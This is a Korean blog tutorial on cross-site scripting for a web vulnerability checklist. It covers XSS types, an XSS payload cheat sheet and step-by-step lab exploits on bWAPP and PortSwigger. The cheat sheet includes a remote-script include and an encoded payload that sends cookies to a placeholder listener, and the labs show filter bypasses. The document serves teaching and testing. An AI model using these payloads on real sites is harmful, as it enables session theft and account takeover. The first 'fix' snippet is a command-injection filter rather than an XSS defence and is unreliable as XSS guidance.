■ 개요
- 사용자 요청에 의해 검증되지 않은 외부 입력 데이터(부적절한 스크립트)가 포함된 동적 웹페이지가 생성·전송되는 경우, 사용자가 해당 동적 웹페이지를 열람함으로써 웹 페이지에 포함된 부적절한 스크립트가 실행되는 공격
- 이를 통해 사용자 정보유출(계좌번호, 계정, 패스워드 등) 또는 악성코드 유포 등의 공격을 할 수 있다.
- 주요정보통신기반시설 취약점 진단 기준으로 11. Cross-Site Scripting(XSS)에 해당
- OWASP TOP 10 2017에서는 A07(XSS)로 따로 기재되었으나, TOP 2021에서는 Injection에 포함.
- 현재까지도 많이 발생하는 취약점 중 하나
■ 사전 지식
□ 크로스사이트 스크립팅란?
- 크로스사이트 스크립팅(XSS)이란, Cross('서로 만남, 교차), Site(웹 페이지), Scripting(일종의 명령어)로 이 문자를 합치면, 스크립트가 실행되면서 어떤 웹 사이트에서 다른 웹사이트로 가로 지른다라는 뜻이다.
- XSS는 게시판, 웹 메일 등에 삽입된 악의적인 스크립트에 의해 사용자의 쿠키 및 기타 개인 정보를 특정 사이트로 전송시키는 공격 또는 악성 사이트로 이동시키는 등의 행위를 수행할 수 있다.
□ HTML 태그란?
- HTML은 Hypertext Markup Language의 줄임말로 하이퍼텍스트를 작성하기 위해 개발되었으며, 웹 문서를 만들기 위한 기본적인 웹 언어이다.
- HTML 태그(Tag)는 웹문서에 어떠한 표시를 해주는 것으로, 태그를 통해 글씨 크기, 글자색, 글자 모양 등을 표현하거나, 스크립트 삽입, Link 등을 넣는 것이 가능하다.
- HTML 태그 중 코드 삽입하는 태그와 페이지 내부에 새로운 페이지 삽입 가능한 태그를 악용하여 XSS 공격에 자주 사용
- 자주 사용하는 HTML 태그
HTML 태그 | 설명 |
<html></html> | - html의 시작과 끝을 표현 |
<head></head> | - 웹 페이지에서 직접적으로 표현되지 않는 태그의 집합을 표현 ex) <title>, <link> <style> 등.. |
<body></body> | - 페이지가 브라우저에 실제로 표현할 것들 ex) <a><img><table><br><p><b><form> 등.. |
<title></title> | - 제목 표시줄 |
<meta> | - 태그 안에 웹 페이지의 정보를 표현- 이 정보는 웹 페이지에 보이지 않음 ex) charset, http-equiv, content, name 등.. |
<div></div> | - 임의의 레이아웃 구분을 표현 |
<a></a> | - 하이퍼링크 태그 |
<script></script> | - 코드 삽입 |
<iframe></iframe> | - 페이지 내부에 새로운 페이지 삽입 가능 |
<link></link> | - 외부 파일과의 연결 표현 |
<span></span> | - 임의의 레이아웃 구분을 표현 |
<p></p> | - 하나의 문단을 표현 |
<li></li> | - 목록을 표현 |
<style></style> | - 해당 문서의 적용되는 css 표현 |
<footer></footer> | - 저자, 저작권, 연관 페이지 등을 표현 |
□ Stored XSS
Stored XSS는 게시글 및 댓글 등 서버에 저장될 수 있는 경로에 악성 스크립트를 삽입 후, 다른 사용자들이 해당 경로로 접근 또는 열람 시 악성 스크립트가 동작하여 악성 프로그램 설치 또는 중요 정보들이 공격자에게 넘어갈 수 있다.
Reflected XSS와 달리 서버에 저장되어 악성 스크립트를 삽입한 경로가 삭제되지 않을 경우, 공격자에게 중요 정보 누출 될 수 있다.
□ Reflective XSS (반사형 XSS)
Reflective XSS는 공격 코드를 사용자의 HTTP 요청에 삽입한 후, 해당 공격 코드를 서버 응답 내용에 그대로 반사시켜 브라우저에서 실행하는 공격
해당 공격은 사용자로 하여금 공격자가 만든 서버로 데이터를 보내야 하므로, 해당 취약점이 있다 하더라도 위험성은 크지 않으며 대부분 악의적으로 제작된 링크를 사용자가 클릭하도록 유도하는 방식으로 공격을 수행
□ DOM XSS
DOM XSS은 사용자의 입력값을 적절하게 검증하지 않는 취약점을 이용하여 'eval()', 'innerHTML' 등 함수를 사용하여 Javascript를 동작시켜 클라이언트에서 XSS 동작하게 하는 공격
해당 공격을 수행하기 위해서 사전에 공격자가 악성 코드를 포함한 URL을 사용자에게 전달이 필요하다.
■ XSS Cheat Sheat
예시 |
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> |
javascript:/*--></title></style></textarea></script></xmp> |
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.cookie)//'> |
<IMG SRC="javascript:alert('XSS');"> |
<IMG SRC=javascript:alert('XSS')> |
<IMG SRC=JaVaScRiPt:alert('XSS')> |
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> |
<img src=x onerror="javascript:alert('XSS')"> |
<IMG SRC="jav	ascript:alert('XSS');"> |
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> |
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> |
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> |
<TABLE><TD BACKGROUND="javascript:alert('XSS')"> |
<img src=javascript:alert('XSS');"> |
<embed src="http://www.test.co.kr/xss.swf" width="450" height="400" type="application/x-shockwave-flash" allowScriptAccess="always"> </embed> |
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))"> |
</title><script>alert("XSS");</iframe> |
■ XSS 실습 환경
- Kali Linux
- Bee Box
- Portswigger Web Academy
■ XSS 실습1 [Reflected - 난이도 하]
Step 1) XSS – Reflected(GET) 으로 이동 후, 해당 입력란에 XSS 취약점이 있는지 확인하기 위해 스크립트 구문인 ‘<script>alert(’xss test’)</script>' 입력 시, 스크립트 정상 동작 확인
■ XSS 실습2 [Reflected - 난이도 중]
Step 1) XSS – Reflected(GET) 으로 이동 후, 해당 입력란에 XSS 취약점이 있는지 확인하기 위해 스크립트 구문인 ‘<script>alert(’xss test’)</script>' 입력 시, 스크립트 동작하지 않는 것을 확인
Step 2) 입력한 스크립트 구문이 어떻게 필터링 되고 있는지 확인하기 위해 해당 소스코드 페이지인 ‘xss_get.php’ 확인 시, ‘xss_check_4’ 함수가 동작하고 있으며, addslashes라는 함수로 싱글쿼터(‘), 더블쿼터(“), 백슬래쉬(\), null 문자를 이스케이프 처리하여 실행이 되지 않도록 방어하고 있는 것을 확인
Step 3) 해당 방어 기법을 우회하기 위해 싱글쿼터 또는 더블쿼터 등을 사용하지 않는 XSS 스크립트 구문인 ‘<script>alert(document.cookie)</script>, ’<img src=x onerror=alert(document.cookie)>’ 등을 삽입 시, 정상적으로 동작하는 것을 확인.
■ XSS 실습3 [Stored - 난이도 하]
Step 1) XSS–Stored(Blog)으로 이동 후, 해당 입력란에 XSS 취약점이 있는지 확인하기 위해 스크립트 구문인 ‘<script>alert(’xss test’)</script>'입력 시, 스크립트 정상 동작 확인 및 웹서버에 저장되는 Stored 방식이므로 해당 게시물에 접근할 때마다 스크립트가 실행되는 것을 확인
■ XSS 실습4 [Stored - 난이도 중]
Step 1) 난이도 중간으로 설정 후 스크립트 구문인 ‘<script>alert(’xss test’)</script> 입력 시, 스크립트 동작하지 않는 것으로 확인하여 입력한 스크립트 구문이 어떻게 필터링 되고 있는지 확인하기 위해 해당 소스코드 페이지인 ‘xss_stored_1.php’ 확인 시, ‘xss_check_4’ 함수가 동작하고 있으며, addslashes라는 함수로 싱글쿼터(‘), 더블쿼터(“), 백슬래쉬(\), null 문자를 이스케이프 처리하여 실행이 되지 않도록 방어하고 있는 것을 확인
Step 2) 해당 방어 기법을 우회하기 위해 싱글쿼터 또는 더블쿼터 등을 사용하지 않는 XSS 스크립트 구문인 ‘<script>alert(document.cookie)</script>, ’<img src=x onerror=alert(document.domain)>’ 등을 삽입 시, 정상적으로 동작하는 것을 확인
■ XSS 실습5 [DOM XSS]
Step 1) PortSwigger Web Academy에 XSS Lab 접근. 해당 LAB은 Javascript의 document.write 함수를 사용하고 있는 것으로 확인. Javascript에 XSS 공격을 수행하여 alert 함수를 사용하는 것이 목표.
Step 2) 검색어 입력하는 란에 Javascript를 사용하여 사용자로부터 입력받은 Query문을 'document.write()' 함수에 삽입하여 이미지 태그를 생성하는 것으로 확인
Step 3) 소스 코드를 통해 확인 시, document.write 함수를 사용 중이며, 'document.write(‘<img src=“/resourses/images/tracker.gif?searchTerms=’+Query+’”>’);' 로 입력받고 있다. 사용자가 입력하는 값은 Query 부분에 들어가는 데, 쿼리문에 SVG onload 태그를 사용하여 XSS 실행 시 정상 동작 확인.
SVG(Scalable Vector Graphics) : 벡터 기반 그래픽을 XML 형식으로 정의하는 태그
■ XSS 실습6 [DOM XSS]
Step 1) PortSwigger Web Academy에 XSS Lab 접근. 해당 LAB은 Javascript의 document.write 함수를 사용하고 있는 것으로 확인. Javascript에 XSS 공격을 수행하여 alert 함수를 사용하는 것이 목표.
Step 2) 페이지 내 제고 체크하는 버튼 클릭 시, 파라미터 중 하나인 'productId'를 document.write함수를 통해 출력하는 것을 확인할 수 있었으며, 요청값에는 'productId'를 보내지 않는 것으로 확인했을 때 고정으로 설정된 'London', 'Paris', 'Milan'을 체크하면 'productId'가 스크립트를 통해 동작하는 것으로 확인.
소스 코드 내 productId를 Input으로 입력 받지 않는 것을 통해서도 확인 가능
Step 3) 재고 체크하는 버튼을 클릭하지 않고 URI에서 'storedId'값에 '</option></select>'를 추가하여 기존 동작하는 태그를 완성 시키고 그 뒤에 XSS 구문인 '<img src=0 onerror=alert('xss')>' 입력 시 정상 동작 확인
상기 글에 기재한 XSS 구문인 '<img src=0 onerror=alert('xss')>'는 정상적인 이미지 경로를 입력하지 않고 임의의 값을 입력 후, 없을 경우에 onerror를 통해 다음 함수를 수행하는 것으로 뒤에 오는 함수에 XSS 공격 구문을 입력
■ XSS 실습7 [XSS를 통해 쿠키 탈취]
- 해당 실습은 하기 링크 참조
https://sheow13.tistory.com/62
XSS 쿠키 재사용 공격
■ 개요 - XSS 공격을 통해 희생자의 쿠키값을 탈취하여 희생자의 계정 정보를 알지 못하여도 접근 가능한 공격 - 공격자가 XSS 취약점을 이용하여 많이 수행하는 공격 방식으로, 공격자 서버에 악
sheow13.tistory.com
■ 크로스사이트 스크립팅 점검 방법
① 수동 점검
- 웹사이트의 사용자 인수 값을 입력받은 애플리케이션에 XSS Cheat Sheet 입력 후, XSS 취약 여부 확인
② 자동화 도구를 통한 점검
- 자동화 도구(Ex, Burp Suite Pro, Acunetix 등)를 사용하여 점검하고자 하는 사이트에 XSS 취약 여부 점검
- 아래 예시는 Burp Suite Pro에서 제공하는 Active Scan을 예시로 들었으며, 자세한 사항은 하기 링크 참조
■ 대응 방안
1. 시큐어코딩을 통해 특수문자 이스케이프 처리
import subprocess
from django.shortcuts import render
def execute_command(request):
date = request.POST.get(‘date’,“)
# 명령어를 추가로 실행 또는 또 다른 명령이 실행될 수 있는 키워드에 대한 예외처리
for word in [‘|’, ‘;’, ‘&’, ‘:’, ‘>’, ‘<’, ‘“, ’\\’, ‘!’]:
date = date.replace(word, “”)
# shell=True 옵션은 제거하고 명령과 인자를 배열로 입력
subprocess.run([“cmd”, “/c”, “backuplog.bat”, date])
return render(request, ‘/success.html’)
2. HTML에서 htmlspecialchars() 함수를 사용하여 특수문자를 이스케이프 처리
function a($var) // 입력 받은 특수문자를 이스케이프 처리
{
if (is_array($var)) {
return array_map(‘a’, $var);
} else {
return htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’);
}
}
'모의해킹&웹취약점진단 > 주•통기반 웹 취약점 점검' 카테고리의 다른 글
17. 불충분한 인가 취약점 (2) | 2023.12.06 |
---|---|
23. 파일 다운로드 취약점 & 25. 경로 추적 (2) | 2023.12.05 |
13. 불충분한 인증 취약점 (0) | 2023.12.04 |
09. 정보 누출 (2) | 2023.12.01 |
07. XPath 인젝션 (0) | 2023.10.19 |